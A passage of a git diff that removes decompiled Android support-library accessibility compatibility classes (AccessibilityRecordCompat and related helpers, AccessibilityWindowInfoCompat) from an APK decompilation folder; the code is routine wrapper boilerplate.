android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public Parcelable getParcelableData(Object obj) { - return AccessibilityRecordCompatIcs.getParcelableData(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getRemovedCount(Object obj) { - return AccessibilityRecordCompatIcs.getRemovedCount(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getScrollX(Object obj) { - return AccessibilityRecordCompatIcs.getScrollX(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getScrollY(Object obj) { - return AccessibilityRecordCompatIcs.getScrollY(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public AccessibilityNodeInfoCompat getSource(Object obj) { - return AccessibilityNodeInfoCompat.wrapNonNullInstance(AccessibilityRecordCompatIcs.getSource(obj)); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public List getText(Object obj) { - return AccessibilityRecordCompatIcs.getText(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getToIndex(Object obj) { - return AccessibilityRecordCompatIcs.getToIndex(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getWindowId(Object obj) { - return AccessibilityRecordCompatIcs.getWindowId(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public boolean isChecked(Object obj) { - return AccessibilityRecordCompatIcs.isChecked(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public boolean isEnabled(Object obj) { - return AccessibilityRecordCompatIcs.isEnabled(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public boolean isFullScreen(Object obj) { - return AccessibilityRecordCompatIcs.isFullScreen(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public boolean isPassword(Object obj) { - return AccessibilityRecordCompatIcs.isPassword(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public boolean isScrollable(Object obj) { - return AccessibilityRecordCompatIcs.isScrollable(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void recycle(Object obj) { - AccessibilityRecordCompatIcs.recycle(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setAddedCount(Object obj, int i) { - AccessibilityRecordCompatIcs.setAddedCount(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setBeforeText(Object obj, CharSequence charSequence) { - AccessibilityRecordCompatIcs.setBeforeText(obj, charSequence); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setChecked(Object obj, boolean z) { - AccessibilityRecordCompatIcs.setChecked(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setClassName(Object obj, CharSequence charSequence) { - AccessibilityRecordCompatIcs.setClassName(obj, charSequence); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setContentDescription(Object obj, CharSequence charSequence) { - AccessibilityRecordCompatIcs.setContentDescription(obj, charSequence); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setCurrentItemIndex(Object obj, int i) { - AccessibilityRecordCompatIcs.setCurrentItemIndex(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setEnabled(Object obj, boolean z) { - AccessibilityRecordCompatIcs.setEnabled(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setFromIndex(Object obj, int i) { - AccessibilityRecordCompatIcs.setFromIndex(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setFullScreen(Object obj, boolean z) { - AccessibilityRecordCompatIcs.setFullScreen(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setItemCount(Object obj, int i) { - AccessibilityRecordCompatIcs.setItemCount(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setParcelableData(Object obj, Parcelable parcelable) { - AccessibilityRecordCompatIcs.setParcelableData(obj, parcelable); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setPassword(Object obj, boolean z) { - AccessibilityRecordCompatIcs.setPassword(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setRemovedCount(Object obj, int i) { - AccessibilityRecordCompatIcs.setRemovedCount(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setScrollX(Object obj, int i) { - AccessibilityRecordCompatIcs.setScrollX(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setScrollY(Object obj, int i) { - AccessibilityRecordCompatIcs.setScrollY(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setScrollable(Object obj, boolean z) { - AccessibilityRecordCompatIcs.setScrollable(obj, z); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setSource(Object obj, View view) { - AccessibilityRecordCompatIcs.setSource(obj, view); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setToIndex(Object obj, int i) { - AccessibilityRecordCompatIcs.setToIndex(obj, i); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityRecordIcsMr1Impl extends AccessibilityRecordIcsImpl { - AccessibilityRecordIcsMr1Impl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getMaxScrollX(Object obj) { - return AccessibilityRecordCompatIcsMr1.getMaxScrollX(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getMaxScrollY(Object obj) { - return AccessibilityRecordCompatIcsMr1.getMaxScrollY(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setMaxScrollX(Object obj, int i) { - AccessibilityRecordCompatIcsMr1.setMaxScrollX(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setMaxScrollY(Object obj, int i) { - AccessibilityRecordCompatIcsMr1.setMaxScrollY(obj, i); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityRecordJellyBeanImpl extends AccessibilityRecordIcsMr1Impl { - AccessibilityRecordJellyBeanImpl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setSource(Object obj, View view, int i) { - AccessibilityRecordCompatJellyBean.setSource(obj, view, i); - } - } - - @Deprecated - public AccessibilityRecordCompat(Object obj) { - this.mRecord = obj; - } - - @Deprecated - public Object getImpl() { - return this.mRecord; - } - - public static AccessibilityRecordCompat obtain(AccessibilityRecordCompat accessibilityRecordCompat) { - return new AccessibilityRecordCompat(IMPL.obtain(accessibilityRecordCompat.mRecord)); - } - - public static AccessibilityRecordCompat obtain() { - return new AccessibilityRecordCompat(IMPL.obtain()); - } - - public void setSource(View view) { - IMPL.setSource(this.mRecord, view); - } - - public void setSource(View view, int i) { - IMPL.setSource(this.mRecord, view, i); - } - - public AccessibilityNodeInfoCompat getSource() { - return IMPL.getSource(this.mRecord); - } - - public int getWindowId() { - return IMPL.getWindowId(this.mRecord); - } - - public boolean isChecked() { - return IMPL.isChecked(this.mRecord); - } - - public void setChecked(boolean z) { - IMPL.setChecked(this.mRecord, z); - } - - public boolean isEnabled() { - return IMPL.isEnabled(this.mRecord); - } - - public void setEnabled(boolean z) { - IMPL.setEnabled(this.mRecord, z); - } - - public boolean isPassword() { - return IMPL.isPassword(this.mRecord); - } - - public void setPassword(boolean z) { - IMPL.setPassword(this.mRecord, z); - } - - public boolean isFullScreen() { - return IMPL.isFullScreen(this.mRecord); - } - - public void setFullScreen(boolean z) { - IMPL.setFullScreen(this.mRecord, z); - } - - public boolean isScrollable() { - return IMPL.isScrollable(this.mRecord); - } - - public void setScrollable(boolean z) { - IMPL.setScrollable(this.mRecord, z); - } - - public int getItemCount() { - return IMPL.getItemCount(this.mRecord); - } - - public void setItemCount(int i) { - IMPL.setItemCount(this.mRecord, i); - } - - public int getCurrentItemIndex() { - return IMPL.getCurrentItemIndex(this.mRecord); - } - - public void setCurrentItemIndex(int i) { - IMPL.setCurrentItemIndex(this.mRecord, i); - } - - public int getFromIndex() { - return IMPL.getFromIndex(this.mRecord); - } - - public void setFromIndex(int i) { - IMPL.setFromIndex(this.mRecord, i); - } - - public int getToIndex() { - return IMPL.getToIndex(this.mRecord); - } - - public void setToIndex(int i) { - IMPL.setToIndex(this.mRecord, i); - } - - public int getScrollX() { - return IMPL.getScrollX(this.mRecord); - } - - public void setScrollX(int i) { - IMPL.setScrollX(this.mRecord, i); - } - - public int getScrollY() { - return IMPL.getScrollY(this.mRecord); - } - - public void setScrollY(int i) { - IMPL.setScrollY(this.mRecord, i); - } - - public int getMaxScrollX() { - return IMPL.getMaxScrollX(this.mRecord); - } - - public void setMaxScrollX(int i) { - IMPL.setMaxScrollX(this.mRecord, i); - } - - public int getMaxScrollY() { - return IMPL.getMaxScrollY(this.mRecord); - } - - public void setMaxScrollY(int i) { - IMPL.setMaxScrollY(this.mRecord, i); - } - - public int getAddedCount() { - return IMPL.getAddedCount(this.mRecord); - } - - public void setAddedCount(int i) { - IMPL.setAddedCount(this.mRecord, i); - } - - public int getRemovedCount() { - return IMPL.getRemovedCount(this.mRecord); - } - - public void setRemovedCount(int i) { - IMPL.setRemovedCount(this.mRecord, i); - } - - public CharSequence getClassName() { - return IMPL.getClassName(this.mRecord); - } - - public void setClassName(CharSequence charSequence) { - IMPL.setClassName(this.mRecord, charSequence); - } - - public List getText() { - return IMPL.getText(this.mRecord); - } - - public CharSequence getBeforeText() { - return IMPL.getBeforeText(this.mRecord); - } - - public void setBeforeText(CharSequence charSequence) { - IMPL.setBeforeText(this.mRecord, charSequence); - } - - public CharSequence getContentDescription() { - return IMPL.getContentDescription(this.mRecord); - } - - public void setContentDescription(CharSequence charSequence) { - IMPL.setContentDescription(this.mRecord, charSequence); - } - - public Parcelable getParcelableData() { - return IMPL.getParcelableData(this.mRecord); - } - - public void setParcelableData(Parcelable parcelable) { - IMPL.setParcelableData(this.mRecord, parcelable); - } - - public void recycle() { - IMPL.recycle(this.mRecord); - } - - public int hashCode() { - Object obj = this.mRecord; - if (obj == null) { - return 0; - } - return obj.hashCode(); - } - - public boolean equals(Object obj) { - if (this == obj) { - return true; - } - if (obj != null && getClass() == obj.getClass()) { - AccessibilityRecordCompat accessibilityRecordCompat = (AccessibilityRecordCompat) obj; - Object obj2 = this.mRecord; - if (obj2 == null) { - if (accessibilityRecordCompat.mRecord != null) { - return false; - } - } else if (!obj2.equals(accessibilityRecordCompat.mRecord)) { - return false; - } - return true; - } - return false; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityRecordCompatIcs.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityRecordCompatIcs.java deleted file mode 100644 index f992bcf..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityRecordCompatIcs.java +++ /dev/null @@ -1,175 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.os.Parcelable; -import android.view.View; -import android.view.accessibility.AccessibilityRecord; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityRecordCompatIcs { - AccessibilityRecordCompatIcs() { - } - - public static Object obtain() { - return AccessibilityRecord.obtain(); - } - - public static Object obtain(Object obj) { - return AccessibilityRecord.obtain((AccessibilityRecord) obj); - } - - public static int getAddedCount(Object obj) { - return ((AccessibilityRecord) obj).getAddedCount(); - } - - public static CharSequence getBeforeText(Object obj) { - return ((AccessibilityRecord) obj).getBeforeText(); - } - - public static CharSequence getClassName(Object obj) { - return ((AccessibilityRecord) obj).getClassName(); - } - - public static CharSequence getContentDescription(Object obj) { - return ((AccessibilityRecord) obj).getContentDescription(); - } - - public static int getCurrentItemIndex(Object obj) { - return ((AccessibilityRecord) obj).getCurrentItemIndex(); - } - - public static int getFromIndex(Object obj) { - return ((AccessibilityRecord) obj).getFromIndex(); - } - - public static int getItemCount(Object obj) { - return ((AccessibilityRecord) obj).getItemCount(); - } - - public static Parcelable getParcelableData(Object obj) { - return ((AccessibilityRecord) obj).getParcelableData(); - } - - public static int getRemovedCount(Object obj) { - return ((AccessibilityRecord) obj).getRemovedCount(); - } - - public static int getScrollX(Object obj) { - return ((AccessibilityRecord) obj).getScrollX(); - } - - public static int getScrollY(Object obj) { - return ((AccessibilityRecord) obj).getScrollY(); - } - - public static Object getSource(Object obj) { - return ((AccessibilityRecord) obj).getSource(); - } - - public static List getText(Object obj) { - return ((AccessibilityRecord) obj).getText(); - } - - public static int getToIndex(Object obj) { - return ((AccessibilityRecord) obj).getToIndex(); - } - - public static int getWindowId(Object obj) { - return ((AccessibilityRecord) obj).getWindowId(); - } - - public static boolean isChecked(Object obj) { - return ((AccessibilityRecord) obj).isChecked(); - } - - public static boolean isEnabled(Object obj) { - return ((AccessibilityRecord) obj).isEnabled(); - } - - public static boolean isFullScreen(Object obj) { - return ((AccessibilityRecord) obj).isFullScreen(); - } - - public static boolean isPassword(Object obj) { - return ((AccessibilityRecord) obj).isPassword(); - } - - public static boolean isScrollable(Object obj) { - return ((AccessibilityRecord) obj).isScrollable(); - } - - public static void recycle(Object obj) { - ((AccessibilityRecord) obj).recycle(); - } - - public static void setAddedCount(Object obj, int i) { - ((AccessibilityRecord) obj).setAddedCount(i); - } - - public static void setBeforeText(Object obj, CharSequence charSequence) { - ((AccessibilityRecord) obj).setBeforeText(charSequence); - } - - public static void setChecked(Object obj, boolean z) { - ((AccessibilityRecord) obj).setChecked(z); - } - - public static void setClassName(Object obj, CharSequence charSequence) { - ((AccessibilityRecord) obj).setClassName(charSequence); - } - - public static void setContentDescription(Object obj, CharSequence charSequence) { - ((AccessibilityRecord) obj).setContentDescription(charSequence); - } - - public static void setCurrentItemIndex(Object obj, int i) { - ((AccessibilityRecord) obj).setCurrentItemIndex(i); - } - - public static void setEnabled(Object obj, boolean z) { - ((AccessibilityRecord) obj).setEnabled(z); - } - - public static void setFromIndex(Object obj, int i) { - ((AccessibilityRecord) obj).setFromIndex(i); - } - - public static void setFullScreen(Object obj, boolean z) { - ((AccessibilityRecord) obj).setFullScreen(z); - } - - public static void setItemCount(Object obj, int i) { - ((AccessibilityRecord) obj).setItemCount(i); - } - - public static void setParcelableData(Object obj, Parcelable parcelable) { - ((AccessibilityRecord) obj).setParcelableData(parcelable); - } - - public static void setPassword(Object obj, boolean z) { - ((AccessibilityRecord) obj).setPassword(z); - } - - public static void setRemovedCount(Object obj, int i) { - ((AccessibilityRecord) obj).setRemovedCount(i); - } - - public static void setScrollX(Object obj, int i) { - ((AccessibilityRecord) obj).setScrollX(i); - } - - public static void setScrollY(Object obj, int i) { - ((AccessibilityRecord) obj).setScrollY(i); - } - - public static void setScrollable(Object obj, boolean z) { - ((AccessibilityRecord) obj).setScrollable(z); - } - - public static void setSource(Object obj, View view) { - ((AccessibilityRecord) obj).setSource(view); - } - - public static void setToIndex(Object obj, int i) { - ((AccessibilityRecord) obj).setToIndex(i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityRecordCompatIcsMr1.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityRecordCompatIcsMr1.java deleted file mode 100644 index a9aabf3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityRecordCompatIcsMr1.java +++ /dev/null @@ -1,24 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.view.accessibility.AccessibilityRecord; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityRecordCompatIcsMr1 { - AccessibilityRecordCompatIcsMr1() { - } - - public static int getMaxScrollX(Object obj) { - return ((AccessibilityRecord) obj).getMaxScrollX(); - } - - public static int getMaxScrollY(Object obj) { - return ((AccessibilityRecord) obj).getMaxScrollY(); - } - - public static void setMaxScrollX(Object obj, int i) { - ((AccessibilityRecord) obj).setMaxScrollX(i); - } - - public static void setMaxScrollY(Object obj, int i) { - ((AccessibilityRecord) obj).setMaxScrollY(i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityRecordCompatJellyBean.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityRecordCompatJellyBean.java deleted file mode 100644 index bc596f8..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityRecordCompatJellyBean.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.view.View; -import android.view.accessibility.AccessibilityRecord; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityRecordCompatJellyBean { - AccessibilityRecordCompatJellyBean() { - } - - public static void setSource(Object obj, View view, int i) { - ((AccessibilityRecord) obj).setSource(view, i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityWindowInfoCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityWindowInfoCompat.java deleted file mode 100644 index 14c28ca..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityWindowInfoCompat.java +++ /dev/null @@ -1,364 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.graphics.Rect; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class AccessibilityWindowInfoCompat { - private static final AccessibilityWindowInfoImpl IMPL = new AccessibilityWindowInfoApi24Impl(); - public static final int TYPE_ACCESSIBILITY_OVERLAY = 4; - public static final int TYPE_APPLICATION = 1; - public static final int TYPE_INPUT_METHOD = 2; - public static final int TYPE_SPLIT_SCREEN_DIVIDER = 5; - public static final int TYPE_SYSTEM = 3; - private static final int UNDEFINED = -1; - private Object mInfo; - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface AccessibilityWindowInfoImpl { - Object getAnchor(Object obj); - - void getBoundsInScreen(Object obj, Rect rect); - - Object getChild(Object obj, int i); - - int getChildCount(Object obj); - - int getId(Object obj); - - int getLayer(Object obj); - - Object getParent(Object obj); - - Object getRoot(Object obj); - - CharSequence getTitle(Object obj); - - int getType(Object obj); - - boolean isAccessibilityFocused(Object obj); - - boolean isActive(Object obj); - - boolean isFocused(Object obj); - - Object obtain(); - - Object obtain(Object obj); - - void recycle(Object obj); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class AccessibilityWindowInfoStubImpl implements AccessibilityWindowInfoImpl { - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public Object getAnchor(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public void getBoundsInScreen(Object obj, Rect rect) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public Object getChild(Object obj, int i) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public int getChildCount(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public int getId(Object obj) { - return -1; - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public int getLayer(Object obj) { - return -1; - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public Object getParent(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public Object getRoot(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public CharSequence getTitle(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public int getType(Object obj) { - return -1; - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public boolean isAccessibilityFocused(Object obj) { - return true; - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public boolean isActive(Object obj) { - return true; - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public boolean isFocused(Object obj) { - return true; - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public Object obtain() { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public Object obtain(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public void recycle(Object obj) { - } - - AccessibilityWindowInfoStubImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class AccessibilityWindowInfoApi21Impl extends AccessibilityWindowInfoStubImpl { - AccessibilityWindowInfoApi21Impl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public Object obtain() { - return AccessibilityWindowInfoCompatApi21.obtain(); - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public Object obtain(Object obj) { - return AccessibilityWindowInfoCompatApi21.obtain(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public int getType(Object obj) { - return AccessibilityWindowInfoCompatApi21.getType(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public int getLayer(Object obj) { - return AccessibilityWindowInfoCompatApi21.getLayer(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public Object getRoot(Object obj) { - return AccessibilityWindowInfoCompatApi21.getRoot(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public Object getParent(Object obj) { - return AccessibilityWindowInfoCompatApi21.getParent(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public int getId(Object obj) { - return AccessibilityWindowInfoCompatApi21.getId(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public void getBoundsInScreen(Object obj, Rect rect) { - AccessibilityWindowInfoCompatApi21.getBoundsInScreen(obj, rect); - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public boolean isActive(Object obj) { - return AccessibilityWindowInfoCompatApi21.isActive(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public boolean isFocused(Object obj) { - return AccessibilityWindowInfoCompatApi21.isFocused(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public boolean isAccessibilityFocused(Object obj) { - return AccessibilityWindowInfoCompatApi21.isAccessibilityFocused(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public int getChildCount(Object obj) { - return AccessibilityWindowInfoCompatApi21.getChildCount(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public Object getChild(Object obj, int i) { - return AccessibilityWindowInfoCompatApi21.getChild(obj, i); - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public void recycle(Object obj) { - AccessibilityWindowInfoCompatApi21.recycle(obj); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class AccessibilityWindowInfoApi24Impl extends AccessibilityWindowInfoApi21Impl { - AccessibilityWindowInfoApi24Impl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoImpl - public CharSequence getTitle(Object obj) { - return AccessibilityWindowInfoCompatApi24.getTitle(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityWindowInfoCompat.AccessibilityWindowInfoStubImpl, 